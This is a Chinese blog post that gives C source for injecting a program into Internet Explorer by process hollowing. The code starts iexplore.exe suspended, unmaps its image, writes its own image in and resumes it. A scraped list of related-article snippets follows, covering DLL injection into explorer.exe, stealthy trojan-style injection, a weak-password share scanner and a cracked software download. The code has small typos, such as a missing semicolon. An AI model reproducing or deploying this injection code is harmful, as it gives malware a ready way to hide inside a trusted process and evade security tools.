把自己插入到IE进程中,用TCB启动自己,随便写的垃圾代码,参考了老V的代码,高手莫笑 #include <stdio.h> #include <windows.h> #pragma comment(lib,"ntdll.lib") typedef long NTSTATUS; NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection( HANDLE ProcessHandle, PVOID BaseAddress ); typedef struct _ChildProcessInfo { DWORD dwBaseAddress; DWORD dwReserve; } CHILDPROCESS; char szIePath[MAX_PATH]; BOOL FindIePath(char *IePath,int *dwBuffSize); BOOL InjectProcess(void); DWORD GetSelfImageSize(HMODULE hModule); BOOL CreateInjectProcess( PPROCESS_INFORMATION pi, PCONTEXT pThreadCxt, CHILDPROCESS *pChildProcess ); int main(void) { if (InjectProcess() ) { printf("This is my a test code,made by shadow3./r/n"); } else { MessageBox(NULL,"进程插入完成","Text",MB_OK); } return 0; } BOOL FindIePath(char *IePath,int *dwBuffSize) { char szSystemDir[MAX_PATH]; GetSystemDirectory(szSystemDir,MAX_PATH); szSystemDir[2] = '/0' lstrcat(szSystemDir,"//Program Files//Internet Explorer//iexplore.exe"); lstrcpy(IePath, szSystemDir); return TRUE; } BOOL InjectProcess(void) { char szModulePath[MAX_PATH]; DWORD dwImageSize = 0; STARTUPINFO si = {0}; PROCESS_INFORMATION pi; CONTEXT ThreadCxt; DWORD *PPEB; DWORD dwWrite = 0; CHILDPROCESS stChildProcess; LPVOID lpVirtual = NULL; PIMAGE_DOS_HEADER pDosheader = NULL; PIMAGE_NT_HEADERS pVirPeHead = NULL; HMODULE hModule = NULL; ZeroMemory(szModulePath,MAX_PATH); ZeroMemory(szIePath,MAX_PATH); GetModuleFileName(NULL,szModulePath,MAX_PATH); FindIePath(szIePath,NULL); if ( lstrcmpiA(szIePath,szModulePath) == 0 ) { return FALSE; } hModule = GetModuleHandle(NULL); if ( hModule == NULL ) { return FALSE; } pDosheader = (PIMAGE_DOS_HEADER)hModule; pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew); dwImageSize = GetSelfImageSize(hModule); if ( CreateInjectProcess(&pi, &ThreadCxt ,&stChildProcess) ) { printf("CHILD PID: [%d]/r/n",pi.dwProcessId); if ( ZwUnmapViewOfSection( pi.hProcess, (LPVOID)stChildProcess.dwBaseAddress ) == 0 ) { lpVirtual = VirtualAllocEx( pi.hProcess, (LPVOID)hModule, dwImageSize, MEM_RESERVE │ MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if ( lpVirtual ) { printf("Unmapped and Allocated Mem Success./r/n"); } } else { printf("ZwUnmapViewOfSection() failed./r/n"); return TRUE; } if ( lpVirtual ) { PPEB = (DWORD *)ThreadCxt.Ebx; // 重写装载地址 WriteProcessMemory( pi.hProcess, &PPEB[2], &lpVirtual, sizeof(DWORD), &dwWrite ); if ( WriteProcessMemory( pi.hProcess, lpVirtual, hModule, dwImageSize, &dwWrite) ) { printf("image inject into process success./r/n"); ThreadCxt.ContextFlags = CONTEXT_FULL; if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress ) { ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint; } else { ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint; } #ifdef DEBUG printf("EAX = [0x%08x]/r/n",ThreadCxt.Eax); printf("EBX = [0x%08x]/r/n",ThreadCxt.Ebx); printf("ECX = [0x%08x]/r/n",ThreadCxt.Ecx); printf("EDX = [0x%08x]/r/n",ThreadCxt.Edx); printf("EIP = [0x%08x]/r/n",ThreadCxt.Eip); #endif SetThreadContext(pi.hThread, &ThreadCxt); ResumeThread(pi.hThread); } else { printf("WirteMemory Failed,code:%d/r/n",GetLastError()); TerminateProcess(pi.hProcess, 0); } } else { printf("VirtualMemory Failed,code:%d/r/n",GetLastError()); TerminateProcess(pi.hProcess, 0); } } return TRUE; } DWORD GetSelfImageSize(HMODULE hModule) { DWORD dwImageSize; _asm { mov ecx,0x30 mov eax, fs:[ecx] mov eax, [eax + 0x0c] mov esi, [eax + 0x0c] add esi,0x20 lodsd mov dwImageSize,eax } return dwImageSize; } BOOL CreateInjectProcess( PPROCESS_INFORMATION pi, PCONTEXT pThreadCxt, CHILDPROCESS *pChildProcess ) { STARTUPINFO si = {0}; DWORD *PPEB; DWORD read; // 使用挂起模式启动ie if( CreateProcess( NULL, szIePath, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi ) ) { pThreadCxt->ContextFlags = CONTEXT_FULL; GetThreadContext(pi->hThread, pThreadCxt); PPEB = (DWORD *)pThreadCxt->Ebx; // 得到ie的装载基地址 ReadProcessMemory( pi->hProcess, &PPEB[2], (LPVOID)&(pChildProcess->dwBaseAddress), sizeof(DWORD), &read ); return TRUE ; } return FALSE; }
相关推荐
exe将dll注入到explorer.exe资源管理器进程_DLL注入示例.injectdll
exe将dll注入到explorer.exe资源管理器进程_DLL注入示例.zip
恶意代码分析实战 9 隐蔽的恶意代码启动
查看程序的导入函数。通过这几个函数,可以推断出是远程线程注入。使用ProMon检测,并没有看到什么有用的信息。使用Proexproer检查。也没有什么有用的信息。拖入IDA中分析一下。将这几个字符串重命名,便于识别。该程序是一个对于PID的遍历。这个函数的作用是检查是否存在explorer.exe这个程序。Buffer表示的字符串是Lab12-01.dll.这段代码所表示的就是对explorer.exe程序进行注入。
将dll注入到资源管理器explorer.exe中
将dll注入到资源管理器explorer.exe中
“暴力”注入Explorer
“暴力”注入Explorer pjf(jfpan20000@sina.com) 写点无聊的东西,一段时间blog弄得不成样子了。 向一个运行中的进程注入自己的代码,最自然莫过于使用CreateRemoteThread,如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也举不胜举,一个木马或后门启动时向Explorer或IE的
USB 3.0 高清音视频采集芯片——MS2130
MS2130 是一款 USB 3.0 高清视频和音频采集芯片,内部集成 USB3.0 Device 控制器、数据收发模块、音视频处理模块。
COMSOL新手必看:锂电池仿真从入门到精通的5个实战案例(附模型文件)
本文为COMSOL新手提供锂电池仿真的5个实战案例,涵盖锂枝晶生长模拟、电池热失控预警、SOC估计等效电路模型、电池组液冷系统热管理及SOH衰退模型构建。通过详细步骤和参数设置,帮助用户快速掌握锂电池仿真技术,提升新能源研发效率。附模型文件可直接应用。
代码注入之远程线程篇
引子 前些日子由于项目要求,在网上到处找资料,于无意中发现了 CodeProject 上的一篇很老的文章,文章标题为: Three Ways to Inject Your Code into Another Process 这篇文章呢,出来很久咯,还是 03 年的文章了,可惜我弄底层弄得时间不久哦,不然应该早就看过这篇大作了, 由于是大作,而且出来的又久了,自然在网...
Android HDMI-CEC协议解析:从机顶盒到电视的无缝遥控联动
本文深入解析Android HDMI-CEC协议,实现机顶盒与电视间的无缝遥控联动。通过剖析设备角色、消息格式及核心操作码,并结合Android HdmiControlManager API实战,详细讲解如何实现电源同步、按键穿透及音量控制,最终解决多设备遥控繁琐的痛点,提升用户体验。
dll注入explorer处理方法心得总结
方式1: nacos-config.sh和config.txt文件位置需如下放置到同一目录:
通达信【雷霆尊者排序】实战指南:高胜率竞价指标解析与优化策略
本文详细解析了通达信【雷霆尊者排序】指标在集合竞价阶段的应用,提供从基础设置到实战解码的完整指南。文章重点剖析了‘雷霆’、‘使者’、‘精选’等核心信号的逻辑与共振策略,并分享了如何结合K线、市场情绪进行综合研判与风险控制,旨在帮助短线交易者提升早盘选股效率与胜率。
Dify沙盒容器部署实战:解决config.yaml缺失与系统调用权限问题
本文详细解析了Dify沙盒容器部署中的两大常见问题:config.yaml缺失与系统调用权限限制。通过实战步骤指导如何正确配置卷挂载解决`no such file or directory`错误,并深入讲解如何调整`allowed_syscalls`白名单应对`error: operation not permitted`权限问题,帮助开发者高效完成Dify容器化部署。
"暴力"注入Explorer
"暴力"注入Explorer 作者:未知 来源:CnXHacker.Net 加入时间:2006-4-22 阅读次数:0 暴力”注入Explorer
oracle p6 破解版下载,Primavera P6项目管理软件 16~17 图文详细安装教程(附下载)
Primavera P6 Professional项目管理软件结合了Oracle和Microsoft SQL Server关系数据库,是一款非常好用且功能强大的综合的项目管理软件(PPM) 解决方案,主要用于土建等方面的施工计划分析,具有进度时间安排与资源控制功能的多用户、多项目系统,支持多层项目分层结构、角色与技能导向的资源安排、记录实际数据、自定义视图以及自定义数据,本文主要为大家图文详细介绍...
暴力注入Explorer
暴力”注入Explorer pjf(jfpan20000@sina.com) 向一个运行中的进程注入自己的代码,最自然莫过于使用CreateRemoteThread,如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也举不胜举,一个木马或后门启动时向Explorer或IE的注入操作就像在自己脸上写上“我是贼”一样。
大模型之Spring AI实战系列(二十六):Spring Boot + DeepSeek 实战指南:构建AI聊天应用
在人工智能技术飞速发展的今天,大型语言模型已经成为了推动技术创新的重要力量。DeepSeek作为国内领先的大型语言模型提供商,其推出的DeepSeek系列模型在多个领域都展现出了卓越的性能。本文将详细介绍如何使用Spring Boot框架集成DeepSeek API,构建一个简单的AI聊天应用。我们将实现两个核心功能:普通文本生成和流式文本生成。
OceanBase数据库:从入门到精通全栈教程目录(含架构解析、性能调优与实战案例)
《OceanBase数据库专栏》全面解析蚂蚁集团自主研发的分布式关系型数据库,涵盖从基础到高级的完整知识体系。专栏分为入门篇、原理篇、使用篇等七大模块,包含35+篇深度文章,详细讲解OceanBase的高可用架构、Paxos协议、LSM树存储引擎等核心技术。特别提供MySQL/Oracle迁移指南、金融/电商场景实践案例,以及性能调优、运维监控等实战内容。适合开发者、DBA及架构师快速掌握OceanBase的核心特性和行业应用,助力企业实现数据库分布式转型。
黑客系列教程之暴力注入Explorer(转)
黑客系列教程之暴力注入Explorer(转)[@more@] 向一个运行中的进程注入自己的代码,最自然莫过于使用CreateRemoteThread,如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也举...
Camera2Demo
在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作
进程注入代码
向一个运行中的进程注入自己的代码,最自然莫过于使用 CreateRemoteThread,如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也举不胜举,一个木马或后门启动时向 Explorer或IE的注入操作就像在自己脸上写上“我是贼”一样。 用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行为。下面就介绍一种非常简单不过比较暴力的方法,给出的示例为
visio安装包
Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。
NTscan扫描工具
ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。
向一个运行中的进程注入自己的代码
向一个运行中的进程注入自己的代码,最自然莫过于使用CreateRemoteThread,如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也举不胜举,一个木马或后门启动时向Explorer或IE的注入操作就像在自己脸上写上“我是贼”一样。 用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行为。下面就介绍一种非常简单不过比较暴力的方法,给出的示例为在E
假人有限元模型
假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用
2235



被折叠的 条评论
为什么被折叠?



